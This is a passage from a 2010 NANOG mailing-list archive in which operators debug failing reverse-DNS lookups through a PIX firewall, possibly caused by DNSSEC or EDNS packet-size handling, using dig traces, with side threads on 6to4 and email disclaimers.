213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. > 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. > 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. > 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. > 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. > ;; Received 224 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 20011 ms > > ;; connection timed out; no servers could be reached It is highly improbable that all these name servers are unreachable from you. Therefore, I suspect that *content* is the issue. RIPE-NCC zones are signed with DNSSEC. Are you sure you do not have a broken middlebox which deletes DNSSEC-signed answers? (I tried from an US/Datotel/Level3 machine and everything works.) From matthew at sorbs.net Mon Feb 15 06:05:34 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Mon, 15 Feb 2010 13:05:34 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <20100215115813.GB26024@nic.fr> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> Message-ID: <4B79388E.5030407@sorbs.net> Stephane Bortzmeyer wrote: > On Mon, Feb 15, 2010 at 10:22:17AM +0100, > Michelle Sullivan wrote > a message of 185 lines which said: > > >> 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. >> 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. >> 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. >> 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. >> 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. >> 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. >> 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. >> ;; Received 224 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 20011 ms >> >> ;; connection timed out; no servers could be reached >> > > It is highly improbable that all these name servers are unreachable > from you. Therefore, I suspect that *content* is the issue. RIPE-NCC > zones are signed with DNSSEC. Are you sure you do not have a broken > middlebox which deletes DNSSEC-signed answers? > > (I tried from an US/Datotel/Level3 machine and everything works.) > > > Thanks... F**Kin' PIXs! Michelle From mark at streamservice.nl Mon Feb 15 06:12:55 2010 From: mark at streamservice.nl (Mark Scholten) Date: Mon, 15 Feb 2010 13:12:55 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <20100215115813.GB26024@nic.fr> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> Message-ID: <017701caae38$3470f4e0$9d52dea0$@nl> > -----Original Message----- > From: Stephane Bortzmeyer [mailto:bortzmeyer at nic.fr] > Sent: Monday, February 15, 2010 12:58 PM > To: Michelle Sullivan > Cc: NANOG list > Subject: Re: in-addr.arpa server problems for europe? > > On Mon, Feb 15, 2010 at 10:22:17AM +0100, > Michelle Sullivan wrote > a message of 185 lines which said: > > > 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. > > 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. > > 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. > > 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. > > 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. > > 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. > > 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. > > ;; Received 224 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in > 20011 ms > > > > ;; connection timed out; no servers could be reached > > It is highly improbable that all these name servers are unreachable > from you. Therefore, I suspect that *content* is the issue. RIPE-NCC > zones are signed with DNSSEC. Are you sure you do not have a broken > middlebox which deletes DNSSEC-signed answers? > > (I tried from an US/Datotel/Level3 machine and everything works.) > > Solution: stop using DNSSEC or checking for DNSSEC. If you think it is usefull: look for everything that could have an impact on it. From matthew at sorbs.net Mon Feb 15 06:40:31 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Mon, 15 Feb 2010 13:40:31 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <4B79388E.5030407@sorbs.net> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> Message-ID: <4B7940BF.3000700@sorbs.net> Michelle Sullivan wrote: > Stephane Bortzmeyer wrote: > >> On Mon, Feb 15, 2010 at 10:22:17AM +0100, >> Michelle Sullivan wrote >> a message of 185 lines which said: >> >> >> >>> 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. >>> 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. >>> 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. >>> 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. >>> 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. >>> 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. >>> 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. >>> ;; Received 224 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 20011 ms >>> >>> ;; connection timed out; no servers could be reached >>> >>> >> It is highly improbable that all these name servers are unreachable >> from you. Therefore, I suspect that *content* is the issue. RIPE-NCC >> zones are signed with DNSSEC. Are you sure you do not have a broken >> middlebox which deletes DNSSEC-signed answers? >> >> (I tried from an US/Datotel/Level3 machine and everything works.) >> >> >> >> > > Thanks... F**Kin' PIXs! > Then again.... michelle at enigma:~$ dig +trace +bufsize=512 -x 81.255.164.225 ; <<>> DiG 9.3.3 <<>> +trace +bufsize=512 -x 81.255.164.225 ;; global options: printcmd . 352606 IN NS L.ROOT-SERVERS.NET. . 352606 IN NS M.ROOT-SERVERS.NET. . 352606 IN NS A.ROOT-SERVERS.NET. . 352606 IN NS B.ROOT-SERVERS.NET. . 352606 IN NS C.ROOT-SERVERS.NET. . 352606 IN NS D.ROOT-SERVERS.NET. . 352606 IN NS E.ROOT-SERVERS.NET. . 352606 IN NS F.ROOT-SERVERS.NET. . 352606 IN NS G.ROOT-SERVERS.NET. . 352606 IN NS H.ROOT-SERVERS.NET. . 352606 IN NS I.ROOT-SERVERS.NET. . 352606 IN NS J.ROOT-SERVERS.NET. . 352606 IN NS K.ROOT-SERVERS.NET. ;; Received 511 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 81.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. 81.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. 81.in-addr.arpa. 86400 IN NS NS3.NIC.FR. 81.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. 81.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 81.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 81.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. ;; Received 235 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 179 ms ;; connection timed out; no servers could be reached michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @NS3.NIC.FR ; <<>> DiG 9.3.3 <<>> +bufsize=4096 -x 81.255.164.225 @NS3.NIC.FR ; (2 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52112 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 3 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 255.81.in-addr.arpa. 172800 IN NS proof.rain.fr. 255.81.in-addr.arpa. 172800 IN NS ns.ripe.net. 255.81.in-addr.arpa. 172800 IN NS bow.rain.fr. ;; ADDITIONAL SECTION: ns.ripe.net. 172800 IN A 193.0.0.193 ns.ripe.net. 172800 IN AAAA 2001:610:240:0:53::193 ;; Query time: 320 msec ;; SERVER: 192.134.0.49#53(192.134.0.49) ;; WHEN: Mon Feb 15 23:37:36 2010 ;; MSG SIZE rcvd: 170 michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @SEC3.APNIC.NET ; <<>> DiG 9.3.3 <<>> +bufsize=4096 -x 81.255.164.225 @SEC3.APNIC.NET ; (2 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32853 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 255.81.in-addr.arpa. 172800 IN NS ns.ripe.net. 255.81.in-addr.arpa. 172800 IN NS bow.rain.fr. 255.81.in-addr.arpa. 172800 IN NS proof.rain.fr. ;; Query time: 200 msec ;; SERVER: 202.12.28.140#53(202.12.28.140) ;; WHEN: Mon Feb 15 23:29:41 2010 ;; MSG SIZE rcvd: 126 michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @ns.ripe.net. ; <<>> DiG 9.3.3 <<>> +bufsize=4096 -x 81.255.164.225 @ns.ripe.net. ; (2 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1316 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 164.255.81.in-addr.arpa. 3600 IN NS proof.rain.fr. 164.255.81.in-addr.arpa. 3600 IN NS bow.rain.fr. ;; Query time: 322 msec ;; SERVER: 193.0.0.193#53(193.0.0.193) ;; WHEN: Mon Feb 15 23:30:03 2010 ;; MSG SIZE rcvd: 101 michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @proof.rain.fr. ; <<>> DiG 9.3.3 <<>> +bufsize=4096 -x 81.255.164.225 @proof.rain.fr. ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5704 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; ANSWER SECTION: 225.164.255.81.in-addr.arpa. 3600 IN PTR mail.pharaon.fr. ;; AUTHORITY SECTION: 164.255.81.in-addr.arpa. 3600 IN NS 194.51.3.65. 164.255.81.in-addr.arpa. 3600 IN NS bow.rain.fr. ;; ADDITIONAL SECTION: bow.rain.fr. 83600 IN A 194.51.3.49 ;; Query time: 326 msec ;; SERVER: 194.51.3.65#53(194.51.3.65) ;; WHEN: Mon Feb 15 23:30:14 2010 ;; MSG SIZE rcvd: 149 michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @bow.rain.fr. ; <<>> DiG 9.3.3 <<>> +bufsize=4096 -x 81.255.164.225 @bow.rain.fr. ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22282 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; ANSWER SECTION: 225.164.255.81.in-addr.arpa. 3600 IN PTR mail.pharaon.fr. ;; AUTHORITY SECTION: 164.255.81.in-addr.arpa. 3600 IN NS 194.51.3.65. 164.255.81.in-addr.arpa. 3600 IN NS bow.rain.fr. ;; ADDITIONAL SECTION: bow.rain.fr. 83600 IN A 194.51.3.49 ;; Query time: 340 msec ;; SERVER: 194.51.3.49#53(194.51.3.49) ;; WHEN: Mon Feb 15 23:30:54 2010 ;; MSG SIZE rcvd: 149 michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @SNS-PB.ISC.ORG ; <<>> DiG 9.3.3 <<>> +bufsize=4096 -x 81.255.164.225 @SNS-PB.ISC.ORG ; (2 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9273 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 3 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 255.81.in-addr.arpa. 172800 IN NS bow.rain.fr. 255.81.in-addr.arpa. 172800 IN NS ns.ripe.net. 255.81.in-addr.arpa. 172800 IN NS proof.rain.fr. ;; ADDITIONAL SECTION: ns.ripe.net. 172800 IN A 193.0.0.193 ns.ripe.net. 172800 IN AAAA 2001:610:240:0:53::193 ;; Query time: 183 msec ;; SERVER: 192.5.4.1#53(192.5.4.1) ;; WHEN: Mon Feb 15 23:31:20 2010 ;; MSG SIZE rcvd: 170 michelle at enigma:~$ dig -x 81.255.164.225 @SNS-PB.ISC.ORG ; <<>> DiG 9.3.3 <<>> -x 81.255.164.225 @SNS-PB.ISC.ORG ; (2 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2301 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 2 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 255.81.in-addr.arpa. 172800 IN NS bow.rain.fr. 255.81.in-addr.arpa. 172800 IN NS proof.rain.fr. 255.81.in-addr.arpa. 172800 IN NS ns.ripe.net. ;; ADDITIONAL SECTION: ns.ripe.net. 172800 IN A 193.0.0.193 ns.ripe.net. 172800 IN AAAA 2001:610:240:0:53::193 ;; Query time: 183 msec ;; SERVER: 192.5.4.1#53(192.5.4.1) ;; WHEN: Mon Feb 15 23:31:37 2010 ;; MSG SIZE rcvd: 159 michelle at enigma:~$ dig +trace +bufsize=4096 -x 81.255.164.225 ; <<>> DiG 9.3.3 <<>> +trace +bufsize=4096 -x 81.255.164.225 ;; global options: printcmd . 352340 IN NS H.ROOT-SERVERS.NET. . 352340 IN NS I.ROOT-SERVERS.NET. . 352340 IN NS J.ROOT-SERVERS.NET. . 352340 IN NS K.ROOT-SERVERS.NET. . 352340 IN NS L.ROOT-SERVERS.NET. . 352340 IN NS M.ROOT-SERVERS.NET. . 352340 IN NS A.ROOT-SERVERS.NET. . 352340 IN NS B.ROOT-SERVERS.NET. . 352340 IN NS C.ROOT-SERVERS.NET. . 352340 IN NS D.ROOT-SERVERS.NET. . 352340 IN NS E.ROOT-SERVERS.NET. . 352340 IN NS F.ROOT-SERVERS.NET. . 352340 IN NS G.ROOT-SERVERS.NET. ;; Received 643 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 81.in-addr.arpa. 86400 IN NS NS3.NIC.FR. 81.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. 81.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 81.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 81.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. 81.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. 81.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. ;; Received 235 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 178 ms ;; connection timed out; no servers could be reached ... what am I missing? (Set the PIX v7.2.1 to allow DNS upto 4096 bytes - results are the same before and after) Note: As far as I know lookups from this server worked until around Sept 09, the hosts changed from 203.15.51.32/27 to 111.125.160.129/26 at this time, they have been failing since. Thanks, Michelle From alex.wilkinson at dsto.defence.gov.au Mon Feb 15 06:30:43 2010 From: alex.wilkinson at dsto.defence.gov.au (Wilkinson, Alex) Date: Mon, 15 Feb 2010 20:30:43 +0800 Subject: in-addr.arpa server problems for europe? [SEC=UNCLASSIFIED] In-Reply-To: <4B7940BF.3000700@sorbs.net> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> Message-ID: <20100215123042.GD63033@stlux503.dsto.defence.gov.au> 0n Mon, Feb 15, 2010 at 01:40:31PM +0100, Michelle Sullivan wrote: >Michelle Sullivan wrote: >michelle at enigma:~$ dig +trace +bufsize=512 -x 81.255.164.225 >michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @NS3.NIC.FR Curious, why did you modify 'bufsize' ? -Alex IMPORTANT: This email remains the property of the Australian Defence Organisation and is subject to the jurisdiction of section 70 of the CRIMES ACT 1914. If you have received this email in error, you are requested to contact the sender and delete the email. From bortzmeyer at nic.fr Mon Feb 15 06:58:36 2010 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Mon, 15 Feb 2010 13:58:36 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <4B7940BF.3000700@sorbs.net> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> Message-ID: <20100215125836.GA32680@nic.fr> On Mon, Feb 15, 2010 at 01:40:31PM +0100, Michelle Sullivan wrote a message of 298 lines which said: > michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @NS3.NIC.FR Bad test: the response is too small to exercice real size problems. Try adding "+dnssec" to the dig command-line (that's what BIND does by default). From bortzmeyer at nic.fr Mon Feb 15 07:00:33 2010 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Mon, 15 Feb 2010 14:00:33 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <20100215123042.GD63033@stlux503.dsto.defence.gov.au> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> Message-ID: <20100215130033.GB32680@nic.fr> On Mon, Feb 15, 2010 at 08:30:43PM +0800, Wilkinson, Alex wrote a message of 14 lines which said: > Curious, why did you modify 'bufsize' ? To test response size issues, probably. Broken middleboxes are the scourge of the Internet. http://labs.ripe.net/content/preparing-k-root-signed-root-zone > If you have received this email in error, you are requested to > contact the sender and delete the email. Done. I also erased the hard disk and reinstalled the OS. From bortzmeyer at nic.fr Mon Feb 15 07:00:56 2010 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Mon, 15 Feb 2010 14:00:56 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <017701caae38$3470f4e0$9d52dea0$@nl> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> Message-ID: <20100215130056.GC32680@nic.fr> On Mon, Feb 15, 2010 at 01:12:55PM +0100, Mark Scholten wrote a message of 36 lines which said: > Solution: stop using DNSSEC or checking for DNSSEC. In 2010, it is a bit backward... From matthew at sorbs.net Mon Feb 15 07:04:50 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Mon, 15 Feb 2010 14:04:50 +0100 Subject: in-addr.arpa server problems for europe? [SEC=UNCLASSIFIED] In-Reply-To: <20100215123042.GD63033@stlux503.dsto.defence.gov.au> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> Message-ID: <4B794672.9090102@sorbs.net> Wilkinson, Alex wrote: > 0n Mon, Feb 15, 2010 at 01:40:31PM +0100, Michelle Sullivan wrote: > > >Michelle Sullivan wrote: > > >michelle at enigma:~$ dig +trace +bufsize=512 -x 81.255.164.225 > >michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @NS3.NIC.FR > > Curious, why did you modify 'bufsize' ? > Well I started here: http://sel.icann.org/node/715#fn1 and figured that it was a way to force the packet size and protocol so that I could fit it to known constraints in the PIX eg: Fix to 512 bytes and if the PIX is rejecting anything over 512 bytes there is a simple answer. Fix to 4096 bytes and it forces to EDNS (v0) - as can be seen in the output, to see if the PIX is just dropping all EDNS.. obviously the resulting size sent back I cannot control (except by limiting the maximum size), so the next step was to query all (or a selection) of the servers being traced through. What I can't figure out is why I can query the servers directly and get a response but the trace fails. Any insight will be greatly appreciated. Michelle From mark at streamservice.nl Mon Feb 15 07:09:39 2010 From: mark at streamservice.nl (Mark Scholten) Date: Mon, 15 Feb 2010 14:09:39 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <20100215130056.GC32680@nic.fr> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> Message-ID: <017801caae40$21875e20$64961a60$@nl> > -----Original Message----- > From: Stephane Bortzmeyer [mailto:bortzmeyer at nic.fr] > Sent: Monday, February 15, 2010 2:01 PM > To: Mark Scholten > Cc: nanog at nanog.org > Subject: Re: in-addr.arpa server problems for europe? > > On Mon, Feb 15, 2010 at 01:12:55PM +0100, > Mark Scholten wrote > a message of 36 lines which said: > > > Solution: stop using DNSSEC or checking for DNSSEC. > > In 2010, it is a bit backward... I've seen problems that are only there because of DNSSEC, so if there is a problem starting with trying to disable DNSSEC could be a good idea. As long as not all rootzones are signed I don't see a good reason to use DNSSEC at the moment. From matthew at sorbs.net Mon Feb 15 07:10:39 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Mon, 15 Feb 2010 14:10:39 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <20100215125836.GA32680@nic.fr> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215125836.GA32680@nic.fr> Message-ID: <4B7947CF.5040906@sorbs.net> Stephane Bortzmeyer wrote: > On Mon, Feb 15, 2010 at 01:40:31PM +0100, > Michelle Sullivan wrote > a message of 298 lines which said: > > >> michelle at enigma:~$ dig +bufsize=4096 -x 81.255.164.225 @NS3.NIC.FR >> > > Bad test: the response is too small to exercice real size > problems. Try adding "+dnssec" to the dig command-line (that's what > BIND does by default). > > Thanks.... the query still works though.... michelle at enigma:~$ dig +bufsize=4096 +dnssec -x 81.255.164.225 @NS3.NIC.FR ; <<>> DiG 9.3.3 <<>> +bufsize=4096 +dnssec -x 81.255.164.225 @NS3.NIC.FR ; (2 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33097 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 5, ADDITIONAL: 5 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;225.164.255.81.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 255.81.in-addr.arpa. 172800 IN NS bow.rain.fr. 255.81.in-addr.arpa. 172800 IN NS proof.rain.fr. 255.81.in-addr.arpa. 172800 IN NS ns.ripe.net. 255.81.in-addr.arpa. 7200 IN NSEC 0.26.81.in-addr.arpa. NS RRSIG NSEC 255.81.in-addr.arpa. 7200 IN RRSIG NSEC 5 4 7200 20100317114227 20100215114227 19380 81.in-addr.arpa. dpdCyKkLsN4ts8DbSSBzsOPvr/65Z40Y3IbWFFuIBUf6/dhRFKbrpcgW HB6aPdFgpEyJ70uJgRY54d3eAS8S2U9oeAWlzj75n1wnrC8KAdLbCIS+ nbl1occ0PmIn0uuv0y/3oBvxLb2qVTB6KoBH2vxjSUIVsyLwthiUg34G Wyrn/yHT+gRfAbNdfmYRm8fa0/TGvNUN ;; ADDITIONAL SECTION: ns.ripe.net. 172800 IN A 193.0.0.193 ns.ripe.net. 172800 IN AAAA 2001:610:240:0:53::193 ns.ripe.net. 172800 IN RRSIG A 5 3 172800 20100317112654 20100215112654 51207 ripe.net. NWJBUydKjOtdlzqSAUkdOD3gMPLsKEQqE2z5LLvOmsdjltrJuQmkk2it bS+iyh4lzffi2Zc39D6rscy+MuNAnHNplnwUpIu2zOVAJwKs8NuChbon MfCS5K9Q0uEbYaiH1q+AIzekkPjhKfA/8uFFKTyw3fyQyoA6PXp+tbin GvwUdsrKzvpFrA7yiK4mlExfNnmcN7Qm ns.ripe.net. 172800 IN RRSIG AAAA 5 3 172800 20100317112654 20100215112654 51207 ripe.net. Gz53F5uTq1nmr/t8x8hltVNZ/Rw3G/tRTJX6hz1CQWmU6YPK2xaRro47 Yk7St3z0I+H2plwhhRoF/3o5c4wI6h5jgMUQdf0YUQ0Uw9F3XUHqsGN/ zffk5mGBvK9bx8zxK3OBMd6cQ4O6uKgIGI7BwCacwhYU9lz+OZTxBRNB Es24jQ+h5HkV8gL++dG8m6InoFAn7cca ;; Query time: 322 msec ;; SERVER: 192.134.0.49#53(192.134.0.49) ;; WHEN: Tue Feb 16 00:09:36 2010 ;; MSG SIZE rcvd: 789 From tjc at ecs.soton.ac.uk Mon Feb 15 10:03:26 2010 From: tjc at ecs.soton.ac.uk (Tim Chown) Date: Mon, 15 Feb 2010 16:03:26 +0000 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> Message-ID: On Fri, Feb 12, 2010 at 08:16:56AM +1100, Mark Andrews wrote: > > If you can't get native IPv6 then use a tunneled service like > Hurricane Electric's (HE.NET). It is qualitatively better than > 6to4 as it doesn't require random nodes on the net to be performing > translation services for you which you can't track down the > administrators of. You can get /48's from HE. Our external IPv6 web accesses are still very low, but have grown linearly over the last five years from 0.1% in 2005/06 to 0.5% of total web traffic now. Internally of course our figures are higher. Of that IPv6 traffic, 1% comes from 2002::/16 prefixes. Even less from Teredo prefixes. I guess we could run stats against known TB prefixes to determine who is using those. -- Tim From LarrySheldon at cox.net Mon Feb 15 10:24:39 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 15 Feb 2010 10:24:39 -0600 Subject: Noise (was Re: in-addr.arpa server problems for europe?) In-Reply-To: <20100215130033.GB32680@nic.fr> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> <20100215130033.GB32680@nic.fr> Message-ID: <4B797547.4080107@cox.net> On 2/15/2010 7:00 AM, Stephane Bortzmeyer wrote: >> If you have received this email in error, you are requested to >> contact the sender and delete the email. > > Done. I also erased the hard disk and reinstalled the OS. Given that many Network Operator managers require that that crap be appended to out-bound messages, frequently beyond the control (or wishes) of the message-originator, why is it necessary to whine about every occurrence of it? Maybe the list manager here can include the whine in the monthly "address verification" message, which I filter off to the bit-bucket unseen. Alternately, maybe we can get an IETF wg tasked with a supply of new "funny" remarks to be included in the whines--since all of the funny stuff currently available has been used and abused so completely. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From dot at dotat.at Mon Feb 15 11:10:16 2010 From: dot at dotat.at (Tony Finch) Date: Mon, 15 Feb 2010 17:10:16 +0000 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: <11596.1266081175@localhost> References: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> <11596.1266081175@localhost> Message-ID: I like Ben Goldacre's take on stupid email disclaimers: "READ CAREFULLY. By reading this email, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer. If you are anything other than a friend or an institutional professional colleague and you are writing to me about Bad Science stuff then it is reasonable to assume that I might quote our discussion in my writing, usually anonymously." http://bengoldacre.posterous.com/ Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From dot at dotat.at Mon Feb 15 11:21:04 2010 From: dot at dotat.at (Tony Finch) Date: Mon, 15 Feb 2010 17:21:04 +0000 Subject: in-addr.arpa server problems for europe? In-Reply-To: <017801caae40$21875e20$64961a60$@nl> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> Message-ID: On Mon, 15 Feb 2010, Mark Scholten wrote: > > I've seen problems that are only there because of DNSSEC, so if there is a > problem starting with trying to disable DNSSEC could be a good idea. As long > as not all rootzones are signed I don't see a good reason to use DNSSEC at > the moment. You realise that two of them are signed now and the rest will be signed by 1st July? Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From jcdill.lists at gmail.com Mon Feb 15 11:51:15 2010 From: jcdill.lists at gmail.com (JC Dill) Date: Mon, 15 Feb 2010 09:51:15 -0800 Subject: Noise (was Re: in-addr.arpa server problems for europe?) In-Reply-To: <4B797547.4080107@cox.net> References: <4B791249.1060806@sorbs.net> 